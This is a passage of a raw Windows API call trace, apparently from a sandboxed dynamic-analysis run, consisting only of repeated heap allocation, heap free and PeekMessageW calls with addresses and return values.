0x1055590 [0137.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0137.533] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0137.534] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0137.535] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.535] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0137.535] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.535] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.535] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.535] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0137.535] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0137.536] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.536] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.536] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0137.536] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.536] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0137.536] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0137.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.537] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.537] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.537] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0137.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.537] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.538] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0137.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.546] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0137.547] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.547] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0137.547] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.547] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0137.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0137.548] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.548] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0137.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb50 [0137.548] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.548] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.549] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.549] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0137.549] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.549] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0137.549] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.549] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0137.549] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.549] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0137.550] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.550] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0137.550] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0137.550] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.550] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b48 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf378 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec22c8 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0137.550] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b98 [0137.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0137.551] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.551] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0137.551] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.551] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0137.551] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.551] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.551] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.551] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.552] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.552] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.552] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.552] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0137.552] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.552] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0137.552] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.552] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0137.553] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.553] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0137.553] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.553] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.553] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.553] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0137.553] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.553] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.553] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.554] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0137.554] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.554] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0137.554] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.554] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.554] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0137.554] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.554] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0137.555] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.555] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, 